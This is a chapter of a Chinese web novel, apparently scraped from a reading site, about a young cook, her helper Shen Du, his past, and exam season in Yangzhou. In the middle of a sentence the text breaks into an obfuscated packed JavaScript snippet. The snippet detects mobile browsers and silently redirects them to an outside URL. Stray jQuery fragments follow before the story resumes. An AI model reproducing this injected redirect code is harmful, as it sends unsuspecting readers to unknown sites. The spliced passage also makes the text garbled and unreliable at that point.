57. 前尘往事与又一年解试

作品:《江南好食笺

    几人听到此处才放下心来。比起其他出路,去金陵绣坊学艺倒是件顶好的事。


    步行云临走前,又和沈度耳语了几句。她将剑反背在身侧,干净利落地冲大家拱手道谢后便潇洒离去。


    沈度隔着门目送步行云隐入人海间,半晌才回神转身进来。他见梁照儿低头擦桌子,凑上前说:“她在这吃的住的都从我例钱里头扣。”


    梁照儿抬头睨了他一眼,将手中的抹布赌气似地摔进沈度怀里,“扣扣扣,你有几个子钱扣。”


    她旋身朝后头去拿豆子,沈度忙跟在她身后说:“还不是怕你在意这些。”


    梁照儿闻言停下脚步,怒道:“我就是那些气量小的,不能容人的。倒是有那来去自如的,你怎的不跟着去了?”


    沈度一怔,随即笑着弯腰瞧她,“我待的好好的,为何要跟着去?”


    “我管你去不去,你们若要讲话就大大方方些,躲在一旁手拉着手算什么?”梁照儿走到竹竿边去收衣服。


    沈度说:“你不是去拿豆子,怎么收上了衣服?”


    梁照儿以为他讥讽自己,趁手便拿起棕刷使劲拍衣服,“要下雨了,忽然想收衣服了。”


    正是晌午时分,天热得出奇,半点没有要下雨的样子。金色的阳光洒在庭院间,两排竹竿上摊开挂着新洗好的衣服和被单,散发着清新的皂角香味。梁照儿系着攀膊,头发用簪子胡乱地卷起,伸出两只细胳膊在空中扑腾。她向来怕热,汗水顺着额角一路滑进脖颈。


    沈度见状忍不住勾唇道:“你想知道什么东西只管来问,何苦偷偷记挂着。”


    梁照儿见他戳穿,心下更是羞愤,“我才不偷偷记挂着你,你这般大张旗鼓的,还不许旁的人瞧见了来告诉我?”


    沈度想起燕环,内心忍不住骂上两句,这人好的不说专门捡说坏的。


    梁照儿又躲到另一边去,沈度便隔着被单解释道:“我娘临终前叫我逃,我一听便立刻往外跑。他们拖延时间保下我,我也只能尽力活下去才算对得起他们。到底是年岁小了些,又受了惊吓,跑了几十里路便晕死在山上的林子里。恰逢师父与师姐上山采药,便将我救下了。”


    见她不言语,沈度又接着说:“师父从前是刀客,后来归隐山林,潜心研究医术。救下我后便收我为徒,教我与师姐习武。日子过得很清贫,因为师父行医只会看些跌打损伤,内症一律看不了……”


    闻言梁照儿冷不丁被逗笑了。


    沈度无奈道:“别笑啊,同你说正经的。”


    梁照儿想想也是,刀客行走江湖难免受些皮外伤,久病成医,可不是能看些跌打损伤。一大把年纪再去演习医书可不是半吊子水平,勉强当个赤脚郎中罢了。


    “后有一日,师父带着我上街行医时,偶然发现了宋合武的人在附近四处搜寻。为了不牵连师父与师姐,我才孤身一人离开北边南下。”沈度说道。


    梁照儿好奇地问:“那你师父叫什么名字,后来可再见过了?”


    “……步金妹。”


    梁照儿忍不住抽了抽嘴角,父唤金妹,女唤行云,这名确定真没起错吗?


    沈度道:“据说是师祖觉着师父幼时体弱,起女名好养活。”


    “那若是你师父同人交战时,对方问他名号怎么办?”


    沈度沉吟片刻道:“师父一般不答,直接开战。”


    他又绕过挡在二人之间的被单,问道:“若我真的走了,你会如何?”


    “该如何就如何,日子一天天过,钱一分分赚,”梁照儿啐道,“那你怎么不走?”


    沈度攥住了那只颤抖着又欲备逃走蝴蝶,将她拉了回来说:“从前想走却阴差阳错留了下来,这是孽缘,命中注定分不开的。”


    梁照儿脸红道:“你又胡扯。”


    二人心照不宣地笑了笑,又转头去做自己的事情。


    又到了临近解试的时候,不少从乡镇来州府参加考试的学子纷纷从瓜洲港下船在扬州落了脚。越往城当中去租金越贵,故而不少穷书生就近在渡口附近短租了间屋子。


    一场考试带来的生源倒把附近许多濒临倒闭的小摊又盘活了,这些考生总得寻地方吃饭,连带着如意馆的生意也更好了几分。


    不少书生见梁照儿年轻,说话又好听,生出些亲近之意,时常借着吃饭的机会同她搭讪。梁照儿不好一口回绝,偶尔闲时也同他们交际几句。


    燕环悄没声地走到沈度背后幽幽道:“你也不怕她被那起子小人勾了去。”


    沈度稳若泰山,“那群小毛头有什么可惧。”


    步行云临走前点破了沈度对梁照儿的心意,他也未隐藏,毕竟猫枕着这么大只咸鱼哪有不动心的。比起这些小喽啰还不如担心那几个大有来头的,何况他还占着近水楼台的便利。


    梁照儿与几个学子寒暄完后又回了柜台前。她见沈度站在玉梳边搭话说:“那几个学子对你倒有几分好奇。”


    “好奇甚么?”沈度挑眉道。


    梁照儿:“不过好奇你周身这般气度,为何来做伙计。”


    沈度笑着逗她:“你没告诉他们我是你男人,这是夫妻店。”


    闻言玉梳在一旁偷偷地笑,她与张虎成婚不满一年,正是新婚燕尔、蜜里调油的时候,哪里看不懂这二人的心中小九九。


    薄薄的一层粉色攀上了梁照儿的面皮,她瞪着沈度道:“要说你自己去说。”


    沈度对她自是无有不应的,拔腿便要朝着那桌人去。梁照儿连忙将他拉住,“你怎么还真去。”


    见沈度似笑非笑地望着自己,梁照儿立刻扭身朝厨房去,“懒怠同你这样的无赖讲话。”


    梁照儿一阵懊恼,自己怎么说也活了两世,怎的被他逗着玩了去。


    天正是热的时候,厨房里被水汽一蒸,更闷上几分。梁照儿在里头忙活了一阵被热得直喘气。


    李瘸子训诫道:“这才哪到哪,还没到顶顶热的时候呢!”


    梁照儿一抹额上的汗,回说:“这样热的天,熬着也是苦了自己,明日便取了冰出来放在里头消消暑。”


    李瘸子见她这么说也无异议,由着她摆弄厨房。梁照儿将厨房的窗开得更大些,门前帐子改成纱帘通风,碰上有风时穿堂风一过,比之前倒凉快不少。


    今年比去年更热上些,香饮的销


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580722|166051||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    量也多了一番。梁照儿又动了上街摆摊卖饮子的想法,只可惜如今店里也比从前忙,她脱不开身上街。


    穗穗闻言自告奋勇地想领了这桩差事。她现在讲些简短的句子已不算吃力,梁照儿顶着她期盼的目光,想了想还是应下了。


    未曾想李瘸子得知后也是双手双脚地赞成,他豪爽道:“囡囡你只管去,若是亏了钱阿爹同你补上。”


    梁照儿笑道:“这感情好,我倒落了个便宜差事,稳赚不赔了。”


    她又引着穗穗进了厨房,教她些简单的熟水做法,以免食摊上熟水存货告急,一时难得回来拿。至于小料一类的都带的足足的,想必不会短缺。除了去年那老三样,梁照儿又着意加上了豆蔻熟水和香薷熟水。豆蔻连翘煮水能燥湿健脾,香薷亦可和中化湿,二者皆是清热解暑的利器,再合适现在不过了。


    穗穗学东西学的快,不出三天焙烤香料、冲饮调汤皆不在话下,惹得几人都夸:“赶明儿也可自立门户开门做生意了!”


    梁照儿心中还是有些不放心,正好关大娘无事,便又央她陪穗穗一道去。


    关大娘正愁闲得没事干,整日和玉松二人在家大眼瞪小眼,乐颠颠地同意了。她道:“去年这会子我同你去,转眼间你便成了食肆的掌柜,今日我同穗穗去了,只怕来年穗穗也得成个甚么大人物囖!”


    穗穗红着脸,不好意思地拉了拉关大娘的袖子。


    梁照儿将店里的一辆驴车拨给关大娘和穗穗,沈度替她们捆好了瓶瓶罐罐后,便目送着两人朝着试院去。


    正待梁照儿转身进去时,却听见有人叫住她。转身一瞧,来人正是崔璋,怀里抱着灼哥儿。


    崔灼这么大的小孩正是月月不一样的时候,今日再见和上次比更是长大了不少,能坐能爬,黝黑的眼睛好奇地转个不停。


    崔璋面露难色道:“能否请你帮我看灼哥儿几天?如今正是农忙插秧的时候,邻居大娘亦不得空,我一进试院便是好几天,只怕没人管他。”


    梁照儿未多犹豫便应下了,“你待这小子倒是真心实意的好。”


    她接过崔灼抱在怀里。忽然换了个人抱,崔灼有些不适应,藕节般的小身子在梁照儿怀里拧了起来。沈度瞧见崔灼乱动,冷不丁地瞪了几眼,吓得崔灼呆愣愣地望向他。


    崔璋垂头苦笑。


    原本他是有些恨崔珍和刘氏的,这夫妇二人不仅将家产败了个干净,还欲赶他出府。可有了崔灼后,他望着这小小的人儿,心下也软了几分。


    罢了,只要刘氏不再来寻崔灼,就这般尘归尘土归土地各自活着也好。


    崔璋又交代了些灼哥儿的事情,便仓皇朝着试院去了。待他走后,梁照儿才发现压在崔灼尿片子下的两吊钱。串钱的棉绳是才换的,铜钱也被精细地洗刷过,瞧不见半点脏污。


    梁照儿无奈地摇了摇头,将两吊钱揣进袖子里。


    沈度从她手中接过崔灼,崔灼方才被沈度吓过,哭闹着不肯他抱。


    梁照儿忍不住笑道:“也有你搞不定的事,快给我吧,怎得突然想起来带孩子?”


    沈度蹙眉道:“只不过看不惯他闹你罢了。”